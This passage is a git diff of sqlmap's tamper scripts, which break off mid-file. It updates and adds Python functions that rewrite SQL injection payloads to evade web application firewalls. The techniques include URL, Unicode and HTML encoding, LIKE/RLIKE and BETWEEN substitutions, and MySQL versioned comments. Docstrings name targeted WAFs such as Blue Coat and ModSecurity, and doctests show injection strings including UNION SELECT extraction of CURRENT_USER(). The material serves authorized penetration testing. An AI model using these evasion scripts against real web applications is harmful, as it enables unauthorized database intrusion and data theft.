file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY @@ -12,13 +12,12 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces apostrophe character with its illegal double unicode counterpart + Replaces single quotes (') with an illegal double Unicode encoding (e.g. ' -> %00%27) - Example: - * Input: AND '1'='1' - * Output: AND %00%271%00%27=%00%271%00%27 + >>> tamper("1 AND '1'='1") + '1 AND %00%271%00%27=%00%271' """ - return payload.replace('\'', '%00%27') if payload else payload + return payload.replace('\'', "%00%27") if payload else payload diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index bcba5e74614..92a5fb3ef5c 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,24 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import os + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS)) -def tamper(payload): +def tamper(payload, **kwargs): """ - Appends encoded NULL byte character at the end of payload - - Example: - * Input: AND 1=1 - * Output: AND 1=1%00 + Appends an (Access) NULL byte character (%00) at the end of payload Requirement: * Microsoft Access @@ -29,6 +29,9 @@ def tamper(payload): also possible Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection + + >>> tamper('1 AND 1=1') + '1 AND 1=1%00' """ return "%s%%00" % payload if payload else payload diff --git a/tamper/base64encode.py b/tamper/base64encode.py index b83a4822f6f..b5de4e74970 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,26 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import base64 - +from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOWEST +__priority__ = PRIORITY.LOW def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Base64 all characters in a given payload + Encodes the entire payload using Base64 - Example: - * Input: 1' AND SLEEP(5)# - * Output: MScgQU5EIFNMRUVQKDUpIw== + >>> tamper("1' AND SLEEP(5)#") + 'MScgQU5EIFNMRUVQKDUpIw==' """ - return base64.b64encode(payload) if payload else payload + return encodeBase64(payload, binary=False) if payload else payload diff --git a/tamper/between.py b/tamper/between.py index 0ccfb8e101a..8e9538088f0 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,10 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import re + from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST @@ -12,13 +14,9 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' - - Example: - * Input: 'A > B' - * Output: 'A NOT BETWEEN 0 AND B' + Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND # Tested against: * Microsoft SQL Server 2005 @@ -31,35 +29,31 @@ def tamper(payload): filter the greater than character * The BETWEEN clause is SQL standard. Hence, this tamper script should work against all (?) databases + + >>> tamper('1 AND A > B--') + '1 AND A NOT BETWEEN 0 AND B--' + >>> tamper('1 AND A = B--') + '1 AND A BETWEEN B AND B--' + >>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()') + '1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()' """ retVal = payload if payload: - retVal = "" - quote, doublequote, firstspace = False, False, False - - for i in xrange(len(payload)): - if not firstspace: - if payload[i].isspace(): - firstspace = True - retVal += " " - continue + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload) - elif payload[i] == '\'': - quote = not quote + if match: + _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) + retVal = retVal.replace(match.group(0), _) + else: + retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) - elif payload[i] == '"': - doublequote = not doublequote + if retVal == payload: + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*([\w()]+)\s*", payload) - elif payload[i] == ">" and not doublequote and not quote: - retVal += " " if i > 0 and not payload[i-1].isspace() else "" - retVal += "NOT BETWEEN 0 AND" - retVal += " " if i < len(payload) - 1 and not payload[i+1:i+2].isspace() else "" - - continue - - retVal += payload[i] + if match: + _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) + retVal = retVal.replace(match.group(0), _) return retVal - diff --git a/tamper/binary.py b/tamper/binary.py new file mode 100644 index 00000000000..0259b2911da --- /dev/null +++ b/tamper/binary.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Injects the keyword binary where applicable + + Requirement: + * MySQL + + >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL') + '1 UNION ALL SELECT binary NULL, binary NULL, binary NULL' + >>> tamper('1 AND 2>1') + '1 AND binary 2>binary 1' + >>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END') + 'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"\bNULL\b", "binary NULL", retVal) + retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal) + retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal) + retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal) + retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal) + retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal) + retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal) + + return retVal diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py new file mode 100644 index 00000000000..3ca4b8d4a3c --- /dev/null +++ b/tamper/bluecoat.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.data import kb +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces the space following an SQL statement with a random valid blank character, then converts = to LIKE + + Requirement: + * Blue Coat SGOS with WAF activated as documented in + https://kb.bluecoat.com/index?page=content&id=FAQ2147 + + Tested against: + * MySQL 5.1, SGOS + + Notes: + * Useful to bypass Blue Coat's recommended WAF rule configuration + + >>> tamper('SELECT id FROM users WHERE id = 1') + 'SELECT%09id FROM%09users WHERE%09id LIKE 1' + """ + + def process(match): + word = match.group('word') + if word.upper() in kb.keywords: + return match.group().replace(word, "%s%%09" % word) + else: + return match.group() + + retVal = payload + + if payload: + retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", process, retVal) + retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) + retVal = retVal.replace("%09 ", "%09") + + return retVal diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 26dc9879abb..4213421cb72 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import string @@ -14,19 +14,15 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Double url-encodes all characters in a given payload (not processing - already encoded) - - Example: - * Input: SELECT FIELD FROM%20TABLE - * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 + Double URL-encodes each character in the payload (ignores already encoded ones) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554) Notes: - * Useful to bypass some weak web application firewalls that do not - double url-decode the request before processing it through their - ruleset + * Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset + + >>> tamper('SELECT FIELD FROM%20TABLE') + '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545' """ retVal = payload @@ -36,11 +32,11 @@ def tamper(payload): i = 0 while i < len(payload): - if payload[i] == '%' and (i < len(payload) - 2) and payload[i+1:i+2] in string.hexdigits and payload[i+2:i+3] in string.hexdigits: - retVal += payload[i:i+3] + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += '%%25%s' % payload[i + 1:i + 3] i += 3 else: - retVal += '%%25%X' % ord(payload[i]) + retVal += '%%25%.2X' % ord(payload[i]) i += 1 return retVal diff --git a/tamper/charencode.py b/tamper/charencode.py index 02005dadac6..980406aa12b 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import string @@ -14,14 +14,9 @@ def dependencies(): pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Url-encodes all characters in a given payload (not processing already - encoded) - - Example: - * Input: SELECT FIELD FROM%20TABLE - * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 + URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) Tested against: * Microsoft SQL Server 2005 @@ -30,10 +25,11 @@ def tamper(payload): * PostgreSQL 8.3, 8.4, 9.0 Notes: - * Useful to bypass very weak web application firewalls that do not - url-decode the request before processing it through their ruleset - * The web server will anyway pass the url-decoded version behind, - hence it should work against any DBMS + * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset + * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS + + >>> tamper('SELECT FIELD FROM%20TABLE') + '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' """ retVal = payload @@ -43,11 +39,11 @@ def tamper(payload): i = 0 while i < len(payload): - if payload[i] == '%' and (i < len(payload) - 2) and payload[i+1:i+2] in string.hexdigits and payload[i+2:i+3] in string.hexdigits: - retVal += payload[i:i+3] + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += payload[i:i + 3] i += 3 else: - retVal += '%%%X' % ord(payload[i]) + retVal += '%%%.2X' % ord(payload[i]) i += 1 return retVal diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 563df44c060..3772b0b24dd 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,29 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os import string -from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage +from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) -def tamper(payload): +def tamper(payload, **kwargs): """ - Unicode-url-encodes non-encoded characters in a given payload (not - processing already encoded) - - Example: - * Input: SELECT FIELD%20FROM TABLE - * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045' + Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) Requirement: * ASP @@ -36,9 +31,10 @@ def tamper(payload): * PostgreSQL 9.0.3 Notes: - * Useful to bypass weak web application firewalls that do not - unicode url-decode the request before processing it through their - ruleset + * Useful to bypass weak web application firewalls that do not unicode URL-decode the request before processing it through their ruleset + + >>> tamper('SELECT FIELD%20FROM TABLE') + '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' """ retVal = payload @@ -48,11 +44,11 @@ def tamper(payload): i = 0 while i < len(payload): - if payload[i] == '%' and (i < len(payload) - 2) and payload[i+1:i+2] in string.hexdigits and payload[i+2:i+3] in string.hexdigits: - retVal += "%%u00%s" % payload[i+1:i+3] + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += "%%u00%s" % payload[i + 1:i + 3] i += 3 else: - retVal += '%%u00%X' % ord(payload[i]) + retVal += '%%u%.4X' % ord(payload[i]) i += 1 return retVal diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py new file mode 100644 index 00000000000..80b600f9ca0 --- /dev/null +++ b/tamper/charunicodeescape.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def tamper(payload, **kwargs): + """ + Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) + + Notes: + * Useful to bypass weak filtering and/or WAFs in JSON contexes + + >>> tamper('SELECT FIELD FROM TABLE') + '\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += "\\u00%s" % payload[i + 1:i + 3] + i += 3 + else: + retVal += '\\u%.4X' % ord(payload[i]) + i += 1 + + return retVal diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py new file mode 100644 index 00000000000..6361a7563ba --- /dev/null +++ b/tamper/commalesslimit.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGH + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 and 5.5 + + >>> tamper('LIMIT 2, 3') + 'LIMIT 3 OFFSET 2' + """ + + retVal = payload + + match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "") + if match: + retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1))) + + return retVal diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py new file mode 100644 index 00000000000..6743ddc0876 --- /dev/null +++ b/tamper/commalessmid.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGH + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 and 5.5 + + >>> tamper('MID(VERSION(), 1, 1)') + 'MID(VERSION() FROM 1 FOR 1)' + """ + + retVal = payload + + warnMsg = "you should consider usage of switch '--no-cast' along with " + warnMsg += "tamper script '%s'" % os.path.basename(__file__).split(".")[0] + singleTimeWarnMessage(warnMsg) + + match = re.search(r"(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)", payload or "") + if match: + retVal = retVal.replace(match.group(0), "MID(%s FROM %s FOR %s)" % (match.group(1), match.group(2), match.group(3))) + + return retVal diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py new file mode 100644 index 00000000000..a3fbf33b507 --- /dev/null +++ b/tamper/commentbeforeparentheses.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Prepends (inline) comment before parentheses (e.g. ( -> /**/() + + Tested against: + * Microsoft SQL Server + * MySQL + * Oracle + * PostgreSQL + + Notes: + * Useful to bypass web application firewalls that block usage + of function calls + + >>> tamper('SELECT ABS(1)') + 'SELECT ABS/**/(1)' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"\b(\w+)\(", r"\g<1>/**/(", retVal) + + return retVal diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py new file mode 100644 index 00000000000..1aeca3098e2 --- /dev/null +++ b/tamper/concat2concatws.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the CONCAT() function + + >>> tamper('CONCAT(1,2)') + 'CONCAT_WS(MID(CHAR(0),0,0),1,2)' + """ + + if payload: + payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") + + return payload diff --git a/tamper/decentities.py b/tamper/decentities.py new file mode 100644 index 00000000000..7ecb32cf4d3 --- /dev/null +++ b/tamper/decentities.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode in decimal (using code points) all characters (e.g. ' -> ') + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + retVal += "&#%s;" % ord(payload[i]) + i += 1 + + return retVal diff --git a/tamper/dunion.py b/tamper/dunion.py new file mode 100644 index 00000000000..db2cd94375d --- /dev/null +++ b/tamper/dunion.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE)) + +def tamper(payload, **kwargs): + """ + Replaces instances of <int> UNION with <int>DUNION + + Requirement: + * Oracle + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('1 UNION ALL SELECT') + '1DUNION ALL SELECT' + """ + + return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload) if payload else payload diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index c2a12e03260..9552dcb7a7d 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,29 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import os import re -from lib.core.common import singleTimeWarnMessage -from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): - singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) + pass -def tamper(payload): +def tamper(payload, **kwargs): """ - Replaces all occurances of operator equal ('=') with operator 'LIKE' - - Example: - * Input: SELECT * FROM users WHERE id=1 - * Output: SELECT * FROM users WHERE id LIKE 1 + Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart Tested against: * Microsoft SQL Server 2005 @@ -34,17 +27,14 @@ def tamper(payload): filter the equal character ('=') * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases - """ - def process(match): - word = match.group() - word = "%sLIKE%s" % (" " if word[0]!=" " else "", " " if word[-1]!=" " else "") - - return word + >>> tamper('SELECT * FROM users WHERE id=1') + 'SELECT * FROM users WHERE id LIKE 1' + """ retVal = payload if payload: - retVal = re.sub(r"\s*=\s*", lambda match: process(match), retVal) + retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) return retVal diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py new file mode 100644 index 00000000000..0bad97d1fdc --- /dev/null +++ b/tamper/equaltorlike.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart + + Tested against: + * MySQL 4, 5.0 and 5.5 + + Notes: + * Useful to bypass weak and bespoke web application firewalls that + filter the equal character ('=') + + >>> tamper('SELECT * FROM users WHERE id=1') + 'SELECT * FROM users WHERE id RLIKE 1' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal) + + return retVal diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py new file mode 100644 index 00000000000..aba948a065f --- /dev/null +++ b/tamper/escapequotes.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Slash escape single and double quotes (e.g. ' -> \') + + >>> tamper('1" AND SLEEP(5)#') + '1\\\\" AND SLEEP(5)#' + """ + + return payload.replace("'", "\\'").replace('"', '\\"') diff --git a/tamper/greatest.py b/tamper/greatest.py new file mode 100644 index 00000000000..742b090c1b6 --- /dev/null +++ b/tamper/greatest.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces greater than operator ('>') with 'GREATEST' counterpart + + Tested against: + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass weak and bespoke web application firewalls that + filter the greater than character + * The GREATEST clause is a widespread SQL command. Hence, this + tamper script should work against majority of databases + + >>> tamper('1 AND A > B') + '1 AND GREATEST(A,B+1)=A' + """ + + retVal = payload + + if payload: + match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) + + if match: + _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(3), match.group(4), match.group(3)) + retVal = retVal.replace(match.group(0), _) + + return retVal diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index 750795ec045..cb8dc946f7a 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,58 +1,55 @@ -#!/usr/bin/env python - -""" -$Id$ - -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import os -import re - -from lib.core.common import singleTimeWarnMessage -from lib.core.data import kb -from lib.core.enums import DBMS -from lib.core.enums import PRIORITY -from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS - -__priority__ = PRIORITY.HIGHER - -def dependencies(): - singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) - -def tamper(payload): - """ - Adds versioned MySQL comment before each keyword - - Example: - * Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa - * Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa - - Requirement: - * MySQL < 5.1 - - Tested against: - * MySQL 4.0.18, 5.0.22 - - Notes: - * Useful to bypass several web application firewalls when the - back-end database management system is MySQL - * Used during the ModSecurity SQL injection challenge, - http://modsecurity.org/demo/challenge.html - """ - - def process(match): - word = match.group('word') - if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: - return match.group().replace(word, "/*!0%s" % word) - else: - return match.group() - - retVal = payload - - if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) - retVal = retVal.replace(" /*!0", "/*!0") - - return retVal +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.data import kb +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY +from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS + +__priority__ = PRIORITY.HIGHER + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Adds (MySQL) versioned comment before each keyword + + Requirement: + * MySQL < 5.1 + + Tested against: + * MySQL 4.0.18, 5.0.22 + + Notes: + * Useful to bypass several web application firewalls when the + back-end database management system is MySQL + * Used during the ModSecurity SQL injection challenge, + http://modsecurity.org/demo/challenge.html + + >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") + "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" + """ + + def process(match): + word = match.group('word') + if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: + return match.group().replace(word, 